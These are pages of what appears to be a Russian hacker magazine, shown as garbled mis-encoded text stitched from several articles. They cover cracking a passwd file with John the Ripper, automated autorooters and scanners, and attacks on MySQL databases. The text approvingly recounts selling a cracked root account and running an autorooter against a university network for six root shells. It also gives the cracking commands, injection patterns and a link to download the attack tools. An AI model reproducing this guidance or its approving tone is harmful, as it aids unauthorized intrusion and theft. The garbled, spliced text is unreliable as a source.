start.sh - ççàïóñê JJohn TThe RRipper ââ ððàç-
íûõ ððåæèìàõ

./john -single passwd >> crk_passwd

./john -w:big_wordlist.txt -rules passwd >>
crk_passwd

./john -i:all passwd >> crk_passwd

Çàãðóçèâ âñå ÷åòûðå êàìíÿ, âçëîìùèê
îòîøåë îò êîìïà, íàäåÿñü, ÷òî ê åãî
âîçâðàùåíèþ ïàðîëü óñïåøíî ðàñêðèï-
òóåòñÿ. Ñïóñòÿ ÷àñ ïàðîëü äåéñòâèòåëü-
íî áûë ðàñøèôðîâàí. Âçëîìùèêó ïî-
âåçëî: â êà÷åñòâå ïàðîëÿ âûñòóïàëî
ñëîâî «Street00». Êñòàòè, ïîäîáíîå ñëî-
âå÷êî áûëî ïîëó÷åíî áëàãîäàðÿ îïöèè -
rules, êîòîðàÿ èçâðàùàåò ñëîâàðíûå
ñëîâà, ïîäñòàâëÿÿ ê íèì âñÿêèå íóëèêè
è ìåíÿÿ ðåãèñòð áóêâ. Âîò, ñîáñòâåííî è
âñå. Òåïåðü çëîóìûøëåííèê âîøåë íà
ñåðâåð ïîä ðóòîì, áëàãî sshd ðàçðåøàë
ïîäîáíûå îïåðàöèè. Ïðîâåðèâ, ÷òî ïà-
ðîëü äåéñòâèòåëüíî ñîâïàäàåò ñ ñèñòåì-
íûì, íàø ãåðîé îáìåíÿë ñèñòåìíûé àê-
êàóíò íà ïàðó ñîòåí WMZ.

ÕÎ×ÅØÜ ÅÙÅ?
Âñå êîìáèíàöèè ìåòîäîâ âçëîìà â

ðàìêàõ îäíîãî ìàòåðèàëà íå îïèñàòü.
Áûâàþò ñëó÷àè, êîãäà âçëîìùèêó ïðè-
õîäèòñÿ óäèâëÿòüñÿ íåðàáîòîñïîñîá-
íîñòè àòàê, îòðàáîòàííûõ ãîäàìè. Ïî-
äîáíûå àíîìàëèè ñëó÷àþòñÿ, åñëè íà
ñåðâåðå ñòîèò êàêàÿ-íèáóäü àíòèõàêå-
ðñêàÿ ïðèáëóäà (íàïðèìåð, IDS). Ñëó-
÷àåòñÿ, ÷òî áäèòåëüíûå àäìèíû ñðàçó
ïðåñåêàþò õàêåðñêèå äåéñòâèÿ, îòê-
ëþ÷àÿ óçåë îò ñåòè. Åñëè õî÷åøü
áûòü â êóðñå ãðàìîòíûõ âçëîìîâ, ðå-
êîìåíäóþ ÷èòàòü åæåìåñÿ÷íóþ ðóá-
ðèêó «Íàøóìåâøèå èñòîðèè êðóïíûõ
âçëîìîâ» â æóðíàëå Õ. E

Brutus ãîòîâ ê ðàáîòå

Äæîíèê-ïîáåäèòåëü :)



Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Í åñìîòðÿ íà òî ÷òî áàãîâ â ñåòè êðóòèòñÿ îãðîìíîå êîëè÷åñòâî, ïîèñê óÿçâèìîé ìàøèíû âðó÷íóþ � äåëî äîñòàòî÷íî
íóäíîå è äîëãîå. Âðåìÿ, êàê èçâåñòíî, äåíüãè, ïîýòîìó ëîãè÷íî, ÷òî âçëîìùèêè ïðîöåññ ïîèñêà âñÿ÷åñêè

àâòîìàòèçèðóþò. È âîîáðàæåíèå èõ íå îãðàíè÷èâàåòñÿ áàíàëüíûì ñêàíåðîì ïîðòîâ ïîä Windows :).

ÎÕÎÒÀ ÇÀ ÁÀÃÀÌÈ
ÀÂÒÎÌÀÒÈÇÈÐÎÂÀÍÍÛÉ ÑÁÎÐ ÓßÇÂÈÌÎÑÒÅÉ

àáîòó õàêåðà âûïîëíÿ-
þò ìíîãî÷èñëåííûå
ñêàíåðû áåçîïàñíîñòè,
ðóòåðû è ïðî÷èå îòíî-
ñèòåëüíî èíòåëëåêòó-

àëüíûå óòèëèòû. Îíè êðóãëûìè ñóòêà-
ìè òðóäÿòñÿ íà øåëëàõ è äåñêòîïàõ,
ñòàðàòåëüíî çàïèñûâàÿ êàæäóþ íàé-
äåííóþ óÿçâèìîñòü â æóðíàë. 

Î òîì, êàêèå ðåàëèçàöèè àâòîìàòè-
çèðîâàííîãî ïîèñêà áàãîâ âñòðå÷àþò-
ñÿ, ÿ ïîâåäàþ äàëåå. 

ÈÕ ÐÀÇÛÑÊÈÂÀÞÒ ÕÀÊÅÐÛ
Íà÷íåì ñ êëàññèôèêàöèè ñîôòà

äëÿ ïîèñêà óÿçâèìîñòåé.
Ñàìûìè ïîïóëÿðíûìè ïðîãðàììêà-

ìè ÿâëÿþòñÿ àâòîðóòåðû. Â èõ çàäà-
÷ó âõîäèò ñêàíèðîâàíèå óêàçàííîãî
äèàïàçîíà àäðåñîâ íà ïðåäìåò óÿç-
âèìîé ñëóæáû, ïðîíèêíîâåíèå íà
ñåðâåð ñ ïîìîùüþ ýêñïëîèòà, äîáàâ-
ëåíèå íîâîãî ïîëüçîâàòåëÿ ñ 0-óè-
äîì è çàïèñü èíôîðìàöèè â æóðíàë.
Ãëàâíûì íåäîñòàòêîì ïîäîáíîãî
ñîôòà ÿâëÿåòñÿ îãðîìíîå êîëè÷åñò-
âî ñëåäîâ (åñëè ìîæíî íàçâàòü ñëå-
äîì íîâîãî þçåðà ñ ïðàâàìè àäìèíà
:)), èì îñòàâëÿåìûõ íà ìàøèíå-æåðò-
âå. Èçáàâèòüñÿ îò ýòîãî äîñòàòî÷íî
ñåðüåçíîãî èçúÿíà ìîæíî ïóòåì ìî-
äèôèöèðîâàíèÿ shell-êîäà (ïîäðîá-
íåå îá ýòîì ÷èòàé â Ñïåöå
#08.04(45)), íàïðèìåð, âñòðîèâ â íå-
ãî êîä, ñîçäàþùèé LKM äëÿ ñîêðû-
òèÿ ïðèñóòñòâèÿ õàêåðà è ò.ï.

Íå ìåíåå ðàñïðîñòðàíåííûìè â õà-
êåðñêèõ êðóãàõ ÿâëÿþòñÿ ñêàíåðû

áåçîïàñíîñòè. Â îòëè÷èå îò àâòîðó-
òåðà, ñêàíåð - ìåíåå àêòèâíûé
èíñòðóìåíò, ïîñëå îáíàðóæåíèÿ
óÿçâèìîñòè îí îïîâåùàåò î íåé
çëîóìûøëåííèêà (èíòåðàêòèâíî ëè-
áî ÷åðåç ëîã), à íå èñïîëüçóåò òîò-
÷àñ æå ýêñïëîèò. Ïðåäìåò ñêàíèðî-
âàíèÿ ìîæåò áûòü ëþáûì: www-
ñêðèïò, ïîðò äûðÿâîãî äåìîíà, õîñò
èëè äàæå öåëàÿ ïîäñåòü!

Ïîìèìî ñêàíåðîâ è «êîìïëåêòîâ
çëûõ áèíàðíèêîâ» ñóùåñòâóþò ãèá-
êèå ýêñïëîèòû. Ïðèíöèï èõ ðàáîòû
íåìíîãî ñõîæ ñ àëãîðèòìîì àâòîðó-
òåðà, îäíàêî âåñü âðàæåñêèé êîä çà-
øèò â îäèí-åäèíñòâåííûé ôàéë.
Ãèáêèé ýêñïëîèò òîæå ñêàíèðóåò íå-
êîòîðûé äèàïàçîí àäðåñîâ íà ïðåä-
ìåò óÿçâèìîñòè è ïðèìåíÿåò ñâîé
àðñåíàë äëÿ âñåõ íàéäåííûõ òà÷åê.
Ïîä Windows îòëè÷íûì ïðèìåðîì òà-
êîé ïðîãðàììêè ñëóæèë áû kaht2
(RPC DCOM-ýêñïëîèò).

Ñàìîå îáèäíîå, ÷òî àâòîìàòè÷åñêèå
ñêàíåðû è àâòîðóòåðû ðåäêî ïîïàäà-
þò â ïóáëè÷íûå èñòî÷íèêè. Êàê ïðà-
âèëî, èõ âûêëàäûâàþò, òîëüêî êîãäà
áàã òåðÿåò àêòóàëüíîñòü, ëèáî ïóáëè-
êóþò â óðåçàííîì âàðèàíòå. Ñîáðàí-
íóþ ìíîþ êîëëåêöèþ, óæå äîâîëüíî
ñòàðåíüêóþ, òû ñìîæåøü íàéòè íà
ìîåì ñàéòå (http://kamensk.net.ru/forb/).

ÎÏÎÇÍÀÒÜ È ÂÇËÎÌÀÒÜ!
Õîòåëîñü áû ðàññêàçàòü î íåêî-

òîðûõ íàøóìåâøèõ â ñâîå âðåìÿ
àâòîðóòåðàõ. Äàæå åñëè êàêîé-íè-
áóäü èç íèõ óæå ïîòåðÿë áûëóþ àê-

òóàëüíîñòü, íèêòî íå
ïîìåøàåò òåáå ïåðåäå-
ëàòü åãî ïîä íîâûé
áàã. 

Ñ ãîä íàçàä ÿ äîáûë
àêêàóíò íà êàêîì-òî õà-
êåðñêîì FTP è âûòàùèë
îòòóäà ôàéë ïîä íàçâà-
íèåì mass-scan.tar.gz. Â
àðõèâå îêàçàëñÿ àâòî-
ðóòåð, äà íå ïðîñòîé, à
êîìáèíèðîâàííûé.
Ýêñïëóàòèðîâàë àâòîðó-
òåð öåëûõ ÷åòûðå óÿç-
âèìîñòè â bind, lpd, ftpd
è rpc.*! Ïîñëåäíèé áàã,

êñòàòè, äî ñèõ ïîð àêòóàëåí äëÿ äðåâ-
íèõ ìàøèíîê íà SunOS, IRIX è HP-UX.
Â îáùåì, òàêîé ìîùíûé ïàêåò çàñëó-
æèâàë äîâåðèÿ. Íî, êàê èçâåñòíî, âñå
ïîçíàåòñÿ íà ïðàêòèêå, ïîýòîìó ÿ ðå-
øèë ïðîâåðèòü ðàáîòó ýòîãî àâòîðó-
òåðà. Ìíå ïðèøëîñü ïîñòàâèòü íà
ñâîþ ìàøèíó äûðÿâûé ProFTPD, à çà-
òåì íàòðàâèòü íà íåãî áèíàðíèê r00t.
Äàæå íå ïðîñòî íàòðàâèòü, à çàñòà-
âèòü ïðîñêàíèðîâàòü âåñü ñåãìåíò.
Àâòîìàòèçèðîâàííàÿ ñèñòåìà âûäåð-
æàëà âñå èñïûòàíèÿ è óñïåøíî ñïðà-
âèëàñü ñ çàäà÷åé, âçëîìàâ ìåíÿ áåç
êàêèõ-ëèáî ïðîáëåì. 

Ñëåäóþùèé èíòåðåñíûé àâòîðóòåð
èñïîëüçîâàë èçâåñòíûé áàã â
OpenSSH. Òû, íàâåðíîå, ïîìíèøü
ìíîæåñòâî ïîêîëåíèé ýêñïëîèòà x2.
Òàê âîò, êîìïëåêò xssh.tgz ñîäåðæàë â
ñåáå ñïëîèò x2, à òàêæå äâà áèíàðíè-
êà: Xnet è Xirc. 

Xnet - îáû÷íûé ñêàíåð, ñîâìåùåí-
íûé ñ ýêñïëîèòîì, ïðè çàïóñêå îí èñ-
êàë â çàäàííîì äèàïàçîíå IP-àäðåñîâ
õîñò ñ íóæíûì äåìîíîì è ïûòàëñÿ åãî
ïîðóòàòü. Â ñëó÷àå óñïåõà ýêñïëîèò
àâòîìàòè÷åñêè äîáàâëÿë íîâîãî þçå-
ðà íà ìàøèíå æåðòâû, ñîîáùàë îá
ýòîì ê ñåáå â ëîã è ïðîäîëæàë ïîèñê.

Xirc äåëàë íå÷òî êóäà áîëåå îðèãè-
íàëüíîå. Îí çàõîäèë â IRC è ïûòàëñÿ
íàéòè æåðòâó òàì! Xirc join�èëñÿ íà îï-
ðåäåëåííûé êàíàë è ïðîâåðÿë âñåõ
ïðèñóòñòâóþùèõ íà ïðåäìåò óÿçâè-
ìîñòè â OpenSSH. Íàéäÿ åå, çàïóñêàë
ýêñïëîèò è äàëåå ïî òîìó æå ïðèíöè-
ïó, ÷òî è â Xnet. 

Ýòîò àâòîðóòåð óñïåøíî òåñòèðî-
âàëñÿ ìíîé â ëîêàëüíîé ñåòè îäíîãî
óíèâåðñèòåòà. Ïðàêòè÷åñêè âñå äåìî-
íû â óíèâåðñèòåòñêîé ëîêàëêå áûëè
óÿçâèìû, ïîýòîìó Xnet ïîäàðèë ìíå
öåëûõ øåñòü ðóòîâ! 

ÑÊÀÍÈÐÎÂÀÍÈÅ ÌÅÑÒÍÎÑÒÈ
Íî íà âñå óÿçâèìîñòè àâòîðóòå-

ðîâ íå íàïàñåøüñÿ, äà è îáíàðó-
æèòü èõ âñå íå òàê-òî óæ ïðîñòî.
Òóò íà ïîìîùü ïðèõîäÿò ñêàíåðû
áåçîïàñíîñòè. 

Ïîä *nix-ñèñòåìû ñóùåñòâóåò ìíîãî
ðàçëè÷íûõ ñêàíåðîâ, íî ñàìûé èçâå-
ñòíûé èç íèõ - nessus. Ýòîò ïàêåò ñîñ-
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Îáëàäàÿ íå-
êîòîðûì
îïûòîì
ïðîãðàì-
ìèíãà, òû
áåç ïðîáëåì
ñìîæåøü
ìîäèôèöè-
ðîâàòü ÷ó-
æîé àâòîðó-
òåð ïîä
ñâîè íóæäû.

ÎÕÎÒÀ ÇÀ ÁÀÃÀÌÈ62 ÂÇËÎÌ

Êðàñî÷íûé àâòîðóòåð äëÿ áàãà â sshd



òîèò èç äâóõ ÷àñòåé - ñåðâåðíîé è
êëèåíòñêîé. Ïåðåä òåì êàê ñêàíèðî-
âàòü ñåòü íà óÿçâèìîñòè, íåîáõîäèìî
ñêîíôèãóðèðîâàòü nessusd.conf è
ñîçäàòü íîâîãî ïîëüçîâàòåëÿ (êîìàí-
äîé nessus-adduser). Çàòåì ìîæíî çà-
ïóñêàòü äåìîí nessusd ñ ïàðàìåòðîì -
D (â ðåæèìå äåìîíà). Äàëåå ñ íàñò-
ðîéêîé ìîæíî ðàçîáðàòüñÿ è áåç áó-
òûëêè: çàïóñêàåì êëèåíò è â óäîáíûõ
Èêñàõ êîíôèãóðèðóåì ïàðàìåòðû
nessus. Íå çàáóäü óêàçàòü ëîãèí è ïà-
ðîëü òîãî þçåðà, êîòîðîãî òû ñîçäàë
êîíñîëüíûì nessus-adduser. Ïîæà-
ëóé, ïîñëå ýòèõ øàãîâ nessus ãîòîâ ê
àâòîìàòèçèðîâàííîìó ñêàíèðîâàíèþ.
Ê êàæäîìó íàéäåííîìó áàãó ïðèëàãà-
åòñÿ ïîäðîáíîå îïèñàíèå âêëþ÷àÿ
ññûëêó íà áàãòðàê, òàê ÷òî òû âñåãäà
áóäåøü çíàòü, êàêèì ýêñïëîèòîì
ìîæíî àòàêîâàòü äûðÿâîãî ïèíãâèíà!

Ñëåäóþùèé õàêåðñêèé ñêàíåð ïîìî-
æåò íàéòè óÿçâèìîñòü ïî çàäàííîìó
áàííåðó. Èçâåñòíûé grabbb îò TESO
óìååò ñêàíèðîâàòü ñåòåâóþ ìåñò-
íîñòü ñ çàïèñüþ â æóðíàë áàííåðîâ
óêàçàííûõ ñëóæá - ñòîèò ëèøü çàïóñ-
òèòü åãî â áýãðàóíä ñ ïîëíûì ëîããèí-

ãîì. Èìåííî ñ ïî-
ìîùüþ grabbb ÿ èñêàë
óÿçâèìûå FTPD.

Òàêæå íå ìîãó íå
ðàññêàçàòü î ÷óäåñíîì
ñêàíåðå strobe, êîòî-
ðûé äî íåäàâíåãî âðå-
ìåíè âîîáùå áûë ïðè-
âàòíûì. Îí íåîáõîäèì
ïðè îïðåäåëåíèè íå-
èçâåñòíîãî ñåðâèñà íà
îòêðûòîì ïîðòå (ïîð-
òàõ). Êñòàòè, strobe è
grabbb îáúåäèíÿåò
îäèí íåäîñòàòîê � íå-
âîçìîæíîñòü ñêàíèðî-
âàíèÿ äèàïàçîíîâ ñå-
òåâûõ àäðåñîâ. È òîò,
è äðóãîé ñêàíåðû ïî-
íèìàþò ëèøü îòäåëü-
íûå IP-àäðåñà, êîòî-
ðûå ãåíåðèðóþòñÿ ñïå-

öèàëüíûìè óòèëèòàìè ñ ïîñëåäóþ-
ùåé çàïèñüþ â ñïåöèàëüíûé host-
ôàéë. Êàê òû äîãàäàëñÿ, ýòîò ôàéë
è ïåðåäàåòñÿ ñêàíåðó â êà÷åñòâå ïà-
ðàìåòðà.

Strobe óìååò íàõîäèòü àêòèâíûé
ïîðò è êîììåíòèðîâàòü ñåðâèñ èñõî-
äÿ èç çàïèñè â /etc/services. Îòñóò-
ñòâèå âñÿêèõ ðþøå÷åê è òþíèíãîâ,
íàäî ïðèçíàòü, î÷åíü íåïëîõî îòðà-
çèëîñü íà ñêîðîñòè ïîèñêà - â òåñòî-
âîì ðåæèìå strobe ïðîñêàíèðîâàë
254 àäðåñà âñåãî çà 20 ñåêóíä (ñêà-
íèðîâàíèå âåëîñü ïî ïÿòè ïîðòàì).

È, íàêîíåö, êëàññèêà. Íå ñòîèò çà-
áûâàòü î òàêèõ ìîíñòðàõ, êàê nmap.
Ýòîò ïðîåêò íå äàðîì çàñâåòèëñÿ âî
âòîðîé «Ìàòðèöå»: îí ïðî÷íî âî-
øåë â äîâåðèå ìíîãèõ õàêåðîâ. Òû è
áåç ìåíÿ çíàåøü äîñòîèíñòâà nmap:
ñêàíèðîâàíèå â ðàçëè÷íûõ ðåæè-
ìàõ, ïîääåðæêà äèàïàçîíîâ àäðå-
ñîâ è ïîðòîâ, ñïóôèíã àäðåñà îòï-
ðàâèòåëÿ è ìíîãîå äðóãîå. Åñëè òû
åùå íå þçàë nmap íà ïðàêòèêå � íå-
ìåäëåííî èäè íà www.insecure.org/nmap
è áåðè ñâåæèé ðåëèç ñêàíåðà. Íå
ïîæàëååøü :).

ÊÎÌÏÀÊÒÍÛÅ ÏÀÐÒÈÇÀÍÛ
ß óæå óïîìèíàë âûøå î "ïðîäâè-

íóòûõ" ýêñïëîèòàõ, êîòîðûå èçðåäêà
ìåëüêàþò íà ñàéòàõ, ïîñâÿùåííûõ
êîìïüþòåðíîé áåçîïàñíîñòè. Îíè ïîç-
âîëÿþò íå òîëüêî ïîðóòàòü ñåðâåð, íî
è ïðîñêàíèòü äèàïàçîí àäðåñîâ íà áàã.
Ê ñîæàëåíèþ, îáû÷íî ïîäîáíûå âåùè
îðèåíòèðîâàíû íà Win-óÿçâèìîñòè, ïî-
ýòîìó òû íàâåðíÿêà âîîáùå íå ñëû-
øàë îá àâòîýêñïëîèòàõ äëÿ Linux.

Òåì íå ìåíåå, ïîäîáíûå âåùè åñòü.
Îäíà èç íèõ íàçûâàåòñÿ linux_lprn-
gautorooter. Ýòîò ýêñïëîèò îðèåíòè-
ðîâàí íà áàã â lpr. Ñêîìïèëèðîâàí-
íûé áèíàðíèê âûïîëíÿåò ñêàíèðîâà-
íèå ïîäñåòè, à çàòåì àòàêóåò íóæíûé
ñåðâåð. Ïîñëå óñïåøíîãî ýêñïëóàòè-
ðîâàíèÿ lprgautorooter îòêðûâàåò

ðóòîâûé øåëë. Åñòåñòâåííî, ÷òî âñå
äåéñòâèÿ ñðàçó æå çàíîñÿòñÿ â ëîã
âçëîìùèêà. 

Îáðàùàþ òâîå âíèìàíèå íà òî, ÷òî
áîëüøèíñòâî ïîäîáíûõ êîìïàêòíûõ
àâòîðóòåðîâ ïèøóòñÿ õàêåðàìè-ýíòó-
çèàñòàìè. Ïîýòîìó òû áåç ïðîáëåì
ìîæåøü âûäðàòü íóæíûé êîä ñêàíå-
ðà èç èñõîäíèêà è ïðèêðóòèòü åãî ê
äðóãîìó ýêñïëîèòó.

ÎÒÄÀÌ Â ÕÎÐÎØÈÅ ÐÓÊÈ
Íà ýòîì íàøå çíàêîìñòâî ñ ïðîã-

ðàììàìè, àâòîìàòèçèðóþùèìè ïîèñê
óÿçâèìîñòåé, çàâåðøàåòñÿ. Âåñü óïî-
ìÿíóòûé ñîôò òû ìîæåøü ñêà÷àòü ñ
http://kamensk.net.ru/forb/1/x/autoroot. Äàæå
åñëè êàêîé-ëèáî áàã, ðåàëèçîâàííûé
â àâòîðóòåðàõ èëè àâòîýêñïëîèòàõ,
óæå ïîòåðÿë àêòóàëüíîñòü, íèêòî íå
ìåøàåò òåáå ïîïðîáîâàòü àäàïòèðî-
âàòü èõ ïîä íîâûå óÿçâèìîñòè. E
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Ïîèñê ñóèäíûõ áèíàðíèêîâ

Îïèñàíèå íàéäåííûõ óÿçâèìîñòåé

Íî íå âñåãäà óäîáíî ïîëüçîâàòüñÿ Unix-êîíñîëüþ (ýëèòíûå ÷ó-
âàêè ñèäÿò ïîä ëþáèìîé Âèíäîé, à *nix âèäÿò òîëüêî â îêîøêå
Virtual PC :)). Ìíîãèå ëþäè ïðåäïî÷èòàþò èíòåëëåêòóàëüíûå ñêàíå-
ðû ïîä Âèíäó. Ê ïðèìåðó, òàêèå ñêàíåðû ñïîñîáíû íå òîëüêî îïðå-
äåëèòü ñåðâèñ íà îòêðûòîì ïîðòå, íî è îáíàðóæèòü óÿçâèìîñòü â
ñåðâèñå, ïðèâåñòè ññûëêó íà áàãòðàê! Ñàìûé ïîïóëÿðíûé â ðóíåòå
ñðåäè íèõ, ïîæàëóé, XSpider.

Ýòîò ñêàíåð âåäåò ïðîâåðêó íà ìíîãèå óÿçâèìîñòè è â êîíöå ïðî-
öåññà âûâîäèò ïîäðîáíûé îò÷åò. Ïîääåðæèâàåò ýâðèñòè÷åñêèå ìå-
òîäû îïðåäåëåíèÿ âåðñèè äåìîíîâ. Æóðíàë ïðèãîäèòñÿ íå òîëüêî
áäèòåëüíîìó àäìèíó ñåðâåðà, íî è õàêåðó, êîòîðûé òîëüêî è æäåò
ñâåæåé èíôû î áàãàõ. Îçíàêîìüñÿ ñ ðåàëüíûìè âîçìîæíîñòÿìè
ñêàíåðà, ñòÿíóâ åãî ïî ññûëêå http://www.ptsecurity.ru/ ddown-
load/xs7demo.zip. Ê ñîæàëåíèþ, ïðîåêò óæå äàâíî ÿâëÿåòñÿ êîì-
ìåð÷åñêèì :(, íî äåìî-âåðñèÿ âïîëíå þçàáåëüíà.

ÍÅ ÇÀÁÓÄÜ ÏÐÎ WINDOWS!

Nessus ðàáîòàåò!

Áóäü îñòî-
ðîæåí! Íå-
êîòîðûå àâ-
òîðóòåðû
îòñûëàþò
èíôîðìà-
öèþ íå
òîëüêî òå-
áå, íî è
ñâîåìó àâ-
òîðó :).



Êðèñ Êàñïåðñêè aka ìûùúõ

Ä àííûå - ýòî îñíîâà âñåãî. Òóò è íîìåðà êðåäèòíûõ êàðò, è ëè÷íàÿ èíôîðìàöèÿ ïîëüçîâàòåëåé, è ñâåäåíèÿ îá
óãíàííûõ ìàøèíàõ. Ñîäåðæèìîå ÷àòîâ è ôîðóìîâ òîæå õðàíèòñÿ â ÁÄ. Ïðîíèêíîâåíèå â êîðïîðàòèâíóþ (âîåííóþ,

ïðàâèòåëüñòâåííóþ) áàçó äàííûõ � ñàìîå õóäøåå, ÷òî òîëüêî ìîæåò ñëó÷èòüñÿ ñ êîìïàíèåé. Ïîðàçèòåëüíî, íî äàæå
êðèòè÷åñêèå ñåðâåðà çà÷àñòóþ îêàçûâàþòñÿ íèêàê íå çàùèùåíû è âçëàìûâàþòñÿ 12-ëåòíèìè ëþáèòåëÿìè êîìàíäíîé
ñòðîêè áåç îñîáûõ óñèëèé.

ÁÀÇÀ ÄÀÍÍÛÕ 
ÏÎÄ ÏÐÈÖÅËÎÌ
ÂÇËÎÌ ÁÄ

åðâåðà áàç äàííûõ îò-
íîñÿòñÿ ê íàèáîëåå
êðèòè÷íûì èíôîðìà-
öèîííûì ðåñóðñàì è
ïîòîìó äîëæíû ðàçìå-

ùàòüñÿ íà âûäåëåííîì ñåðâåðå, ðàñ-
ïîëîæåííîì âî âíóòðåííåé êîðïîðà-
òèâíîé ñåòè, îãðàæäåííîé ìàðøðóòè-
çàòîðîì èëè áðàíäìàóýðîì. Âçàèìî-
äåéñòâèå ñ áàçàìè äàííûõ îáû÷íî
îñóùåñòâëÿåòñÿ ÷åðåç Web-ñåðâåð,
íàõîäÿùèéñÿ âíóòðè DMZ-çîíû.

Ðàçìåùàòü ñåðâåð áàçû äàííûõ íà
îäíîì óçëå ñ Web-ñåðâåðîì êàòåãîðè-
÷åñêè íåäîïóñòèìî íå òîëüêî ïî òåõ-
íè÷åñêèì, íî è ïî þðèäè÷åñêèì ñîîá-
ðàæåíèÿì (çàêîíîäàòåëüñòâà ìíîãèõ
ñòðàí äèêòóþò ñâîþ ïîëèòèêó îáðà-
ùåíèÿ ñ êîíôèäåíöèàëüíûìè äàííû-
ìè, îñîáåííî åñëè ýòè äàííûå õðàíÿò
èíôîðìàöèþ î êëèåíòàõ êîìïàíèè).
Òåì íå ìåíåå, ñîâìåùåíèå ñåðâåðà
ÁÄ ñ Web-ñåðâåðîì äîâîëüíî îáû÷-
íî èç-çà ýêîíîìèè. Çàõâàòèâ óïðàâëå-
íèå Web-ñåðâåðîì (à ïðàêòè÷åñêè íè
îäíîìó Web-ñåðâåðó íå óäàëîñü èç-
áåæàòü îøèáîê ïåðåïîëíåíèÿ áóôå-
ðà è ïðî÷èõ äûð), àòàêóþùèé ïîëó÷èò
äîñòóï êî âñåì äàííûì, õðàíÿùèìñÿ
â áàçå!

Ñåðâåð ÁÄ, êàê è ëþáîé äðóãîé ñåð-
âåð, ïîäâåðæåí îøèáêàì ïðîåêòèðî-
âàíèÿ, ñðåäè êîòîðûõ äîìèíèðóþò ïå-
ðåïîëíÿþùèåñÿ áóôåðà, ïîçâîëÿþ-
ùèå àòàêóþùåìó çàõâàòûâàòü óïðàâ-
ëåíèå óäàëåííîé ìàøèíîé ñ íàñëåäî-
âàíèåì àäìèíèñòðàòîðñêèõ ïðèâèëå-
ãèé. ßðêèé ïðèìåð òîìó � óÿçâèìîñòü,
îáíàðóæåííàÿ â ñåðâåðå MS SQL è
ñòàâøàÿ ïðè÷èíîé êðóïíîé âèðóñíîé
ýïèäåìèè. Íå èçáåæàë ýòîé ó÷àñòè è
MySQL. Âåðñèÿ 3.23.31 ïàäàëà íà çàï-
ðîñàõ òèïà select
a.AAAAAAA�AAAAAA.b, à íà ñîîòâåò-
ñòâóþùèì îáðàçîì ïîäãîòîâëåííûõ
ñòðîêàõ � ïåðåäàâàëà óïðàâëåíèå íà
shell-êîä, ïðè÷åì àòàêó ìîæíî áûëî
îñóùåñòâèòü è ÷åðåç áðàóçåð, ïåðå-
äàâ â URL óÿçâèìîìó äëÿ SQL-èíúåê-
öèè ñêðèïòó ÷òî-òî òèïà:
script.php?index=a.(shell-code).b.

Îäíàêî äàæå çàùèùåííûé áðàíä-
ìàóýðîì SQL-ñåðâåð ìîæåò áûòü àòà-
êîâàí ÷åðåç óÿçâèìûé ñêðèïò èëè

íåñòîéêèé ìåõàíèçì àóòåíòèôèêà-
öèè. Ðàçóìååòñÿ, ÿ íå ìîãó ðàññêàçàòü
îáî âñåõ ñóùåñòâóþùèõ àòàêàõ, íî
ïðîäåìîíñòðèðóþ ïàðó-òðîéêó èç-
ëþáëåííûõ õàêåðñêèõ ïðèåìîâ.

ÍÅÑÒÎÉÊÎÑÒÜ ØÈÔÐÎÂÀÍÈß
ÏÀÐÎËÅÉ

Ïàðîëè, ðåãëàìåíòèðóþùèå äîñ-
òóï ê áàçå äàííûõ, íè ïðè êàêèõ îáñ-
òîÿòåëüñòâàõ íå äîëæíû ïåðåäàâàòü-
ñÿ îòêðûòûì òåêñòîì ïî ñåòè. Âìåñòî
ïàðîëÿ ïåðåäàåòñÿ åãî õýø, çàøèô-
ðîâàííûé ñëó÷àéíî ñãåíåðèðîâàííîé
ïîñëåäîâàòåëüíîñòüþ áàéò è íàçûâà-
åìûé ïðîâåðî÷íîé ñòðîêîé (check-
string). Êîðî÷å ãîâîðÿ, ðåàëèçóåòñÿ
êëàññè÷åñêàÿ ñõåìà àóòåíòèôèêàöèè,
óñòîé÷èâàÿ ê ïåðåõâàòó èíôîðìàöèè
è ïðè ýòîì íå äîïóñêàþùàÿ íè ïîäáî-
ðà ïàðîëÿ, íè åãî äåêîäèðîâàíèÿ, âî
âñÿêîì ñëó÷àå, â òåîðèè.

Íà ïðàêòèêå æå âî ìíîãèõ ñåðâåðàõ
ÁÄ îáíàðóæèâàþòñÿ ãðóáûå îøèáêè
ïðîåêòèðîâàíèÿ. Âçÿòü õîòÿ áû
MySQL âåðñèè 3.x. Õýø-ôóíêöèÿ, èñ-
ïîëüçóåìàÿ äëÿ "ñâîðà÷èâàíèÿ" ïà-
ðîëÿ, âîçâðàùàåò 64-ðàçðÿäíóþ êî-
äèðîâàííóþ ïîñëåäîâàòåëüíîñòü, â
òî âðåìÿ êàê äëèíà ñëó÷àéíî ãåíåðè-
ðóåìîé ñòðîêè (random-string) ñîñòàâ-
ëÿåò âñåãî ëèøü 40 áèò. Êàê ñëåä-
ñòâèå, øèôðîâàíèå íå ïîëíîñòüþ
óäàëÿåò âñþ èçáûòî÷íóþ èíôîðìà-
öèþ è àíàëèç áîëüøîãî êîëè÷åñòâà
ïåðåõâà÷åííûõ check-string/random-
string ïîçâîëÿåò âîññòàíîâèòü èñõîä-
íûé õýø (ïàðîëü âîññòàíàâëèâàòü íå
òðåáóåòñÿ, òàê êàê äëÿ àóòåíòèôèêà-
öèè îí íå íóæåí).

Â íåñêîëüêî óïðîùåííîì âèäå ïðî-
öåäóðà øèôðîâàíèÿ âûãëÿäèò òàê:

// P1/P2 � 4 ëåâûõ/ïðàâûé áàéòà ïà-
ðîëüíîãî õýøà ñîîòâåòñòâåííî

// C1/C2 � 4 ëåâûõ/ïðàâûé áàéòà random-
string ñîîòâåòñòâåííî

seed1 = P1 ^ C1;
seed2 = P2 ^ C2 ;
for(i = 1; i <= 8; i++)
{

seed1 = seed1 + (3*seed2);
seed2 = seed1 + seed2 + 33;
r[i] = floor((seed1/n)*31) + 64;

}

seed1 = seed1+(3*seed2);
seed2 = seed1+seed2+33;
r[9] = floor((seed1/n)*31);

checksum =(r[1]^r[9] || r[2]^r[9] ||
r[7]^r[9] || r[8]^r[9]);

Íåñòîéêèå ìåõàíèçìû àóòåíòèôèêà-
öèè âñòðå÷àëèñü è â äðóãèõ ñåðâåðàõ,
îäíàêî ê íàñòîÿùåìó ìîìåíòó ïðàêòè-
÷åñêè âñå îíè äàâíî ëèêâèäèðîâàíû.

ÏÅÐÅÕÂÀÒ ÏÀÐÎËß
Äëÿ àâòîðèçàöèè íà ñàéòå â ïî-

äàâëÿþùåì áîëüøèíñòâå ñëó÷àåâ èñ-
ïîëüçóþòñÿ íåñòîéêèå ìåõàíèçìû 
